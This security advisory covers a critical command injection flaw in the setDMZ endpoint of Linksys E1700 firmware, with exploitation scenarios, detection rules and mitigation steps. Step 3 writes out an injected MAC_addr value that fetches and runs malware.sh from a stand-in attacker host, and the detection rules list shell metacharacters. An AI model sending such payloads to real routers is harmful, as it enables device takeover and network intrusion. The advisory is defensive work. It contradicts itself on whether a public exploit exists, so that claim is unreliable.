CVE-2026-108895

Executive Summary

CVE-2026-108895 is a critical OS command injection vulnerability in the Linksys E1700 router firmware version 1.0.0.4.003. The flaw resides in the setDMZ function within the /goform/setDMZ endpoint, where manipulation of the MAC_addr argument allows an authenticated remote attacker to execute arbitrary operating system commands. With a CVSS score of 9.9, successful exploitation grants full compromise of the device, potentially enabling persistent network access, traffic interception, and lateral movement into the connected internal network.

Technical Analysis

The vulnerability is classified as CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'). The affected component is the setDMZ function accessible via the /goform/setDMZ HTTP endpoint. This endpoint is part of the router's web management interface, which typically requires authentication (CVSS PR:L indicates low privileges are required, consistent with an authenticated administrative or limited user session).

The core issue is that the MAC_addr parameter is passed to a system shell command without adequate sanitization or validation. In embedded router firmware, such parameters are often used to configure DMZ host settings, and the underlying implementation may invoke shell utilities (e.g., iptables, ebtables, or custom scripts) to apply firewall rules. The lack of input neutralization allows an attacker to inject shell metacharacters (e.g., ;, |, &, $(), backticks) into the MAC_addr value, resulting in arbitrary command execution with the privileges of the web server process (typically root on embedded devices).

The attack is network-accessible (AV:N), requires low privileges (PR:L), no user interaction (UI:N), and has a changed scope (S:C) because the vulnerable component (web interface) can impact other components (the underlying OS and network). The exploit has been made publicly available, and the vendor did not respond to disclosure attempts, leaving the device unpatched. Exact code-level details (e.g., specific sanitization functions or command construction) are not provided in the NVD description; therefore, this analysis is limited to the vulnerability class and its known mechanism.

Exploitation Scenarios

1. Reconnaissance/Target Identification: An attacker scans for internet-exposed Linksys E1700 routers using Shodan or similar tools. The device's web interface on port 80/443 is identified, and the firmware version may be inferred from HTTP headers or login page fingerprints.

2. Authentication: The attacker must authenticate to the web interface, as the CVSS vector indicates low privileges are required (PR:L). This could be achieved through default credentials (if unchanged), credential stuffing, or prior compromise of a low-privileged account. Some router interfaces allow limited access without full admin rights.

3. Triggering the Vulnerability: Once authenticated, the attacker sends a crafted HTTP POST request to /goform/setDMZ with the MAC_addr parameter containing shell metacharacters. For example, a value like 00:11:22:33:44:55; wget http://attacker.com/malware.sh -O /tmp/malware.sh; chmod +x /tmp/malware.sh; /tmp/malware.sh would execute arbitrary commands. The exact injection point and required encoding are inferred from the vulnerability class; no public PoC details are provided in the NVD description.

4. Post-Exploitation Impact: Successful command injection yields root-level access to the router's OS. The attacker can install persistent backdoors, modify firewall rules, intercept or redirect network traffic, harvest credentials, pivot to internal hosts, or recruit the device into a botnet. Given the device's role as a network gateway, the blast radius extends to all connected systems.

No public PoC is available; the attack chain is inferred from the vulnerability class and the NVD description.

Impact Assessment

The CVSS score of 9.9 (Critical) reflects the severe impact: Confidentiality, Integrity, and Availability are all rated High, with a Changed Scope indicating the vulnerability can affect resources beyond the vulnerable component. The attack is remotely exploitable over the network with low privileges and no user interaction. Business impact includes full network compromise, data exfiltration, service disruption, and potential regulatory violations (e.g., GDPR, HIPAA) if sensitive data traverses the device. Small office/home office (SOHO) environments using the Linksys E1700 are at particular risk, as these devices often lack centralized monitoring and may be internet-facing.

Detection Guidance

Sigma Rule

title: Linksys E1700 setDMZ Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/setDMZ with suspicious characters in MAC_addr parameter indicating command injection.
author: Threat Intelligence
date: 2026-05-12
logsource:
  category: webserver
  product: linksys
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/goform/setDMZ'
    cs-uri-query|contains:
      - ';'
      - '|'
      - '`'
      - '$('
      - '&&'
  condition: selection
falsepositives:
  - Legitimate MAC addresses containing only hexadecimal and colons
level: critical

YARA Rule

rule CVE_2026_108895_Linksys_E1700_CommandInjection
{
    meta:
        description = "Detects exploitation attempts of CVE-2026-108895 via HTTP requests to /goform/setDMZ"
        author = "Threat Intelligence"
        date = "2026-05-12"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-108895"
        severity = "critical"
    strings:
        $endpoint = "/goform/setDMZ"
        $param = "MAC_addr"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "$("
        $shell_meta4 = "`"
    condition:
        $endpoint and $param and any of ($shell_meta*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-108895 Linksys E1700 setDMZ Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/setDMZ"; http_uri; content:"MAC_addr"; http_client_body; pcre:"/MAC_addr=[^&]*[;|`$()]/i"; reference:cve,2026-108895; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-108895; classtype:attempted-admin; sid:10000001; rev:1;)

Elastic Detection

sequence by host.id with maxspan=5s
  [network where http.request.method == "POST" and url.path == "/goform/setDMZ" and
   /* Check for shell metacharacters in request body */
   wildcard(http.request.body: "*;*") or wildcard(http.request.body: "*|*") or wildcard(http.request.body: "*$(*")]

Splunk SPL Query

index=web OR index=proxy
| search method=POST uri_path="/goform/setDMZ"
| regex _raw="MAC_addr=[^&]*[;|`$()]"
| stats count by src_ip, dest_ip, uri_path, _time
| sort - _time

Wazuh OSSEC Rule

<group name="web,linksys,">
  <rule id="100200" level="12">
    <decoded_as>web-accesslog</decoded_as>
    <match>POST /goform/setDMZ</match>
    <regex offset="after_match">MAC_addr=.*[;|`$()]</regex>
    <description>CVE-2026-108895: Linksys E1700 command injection attempt detected in setDMZ endpoint</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack,command_injection,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations:

   • Disable remote administration on the Linksys E1700 if not strictly required. If remote access is necessary, restrict it to trusted IP addresses via firewall rules.
   • Change default administrative credentials and enforce strong, unique passwords.
   • Segment the router from critical internal networks; place it in a dedicated VLAN with strict egress filtering.
   • Monitor for exploitation attempts using the provided detection rules and block malicious IPs at the perimeter.
   • If the device cannot be secured, consider replacing it with a supported model or using a different router.

2. Patch/Upgrade Steps:

   • No patch is available. The vendor did not respond to the disclosure. Check Linksys support channels periodically for firmware updates. If a patched firmware version is released, apply it immediately.
   • As a workaround, if the device supports it, disable the DMZ feature entirely (if not needed) to reduce attack surface.

3. Long-Term Hardening:

   • Implement network access control (NAC) to prevent unauthorized devices from accessing the management interface.
   • Regularly audit router configurations and firmware versions.
   • Subscribe to vendor security advisories and CVE feeds for timely updates.
   • Replace end-of-life devices with models that receive active security support.

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-108895
• CWE-77: https://cwe.mitre.org/data/definitions/77.html
• MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/
• Linksys Security Advisories: https://www.linksys.com/support/security-advisories/ (check for updates)
• CISA KEV: Not applicable (CVE not listed as of report date)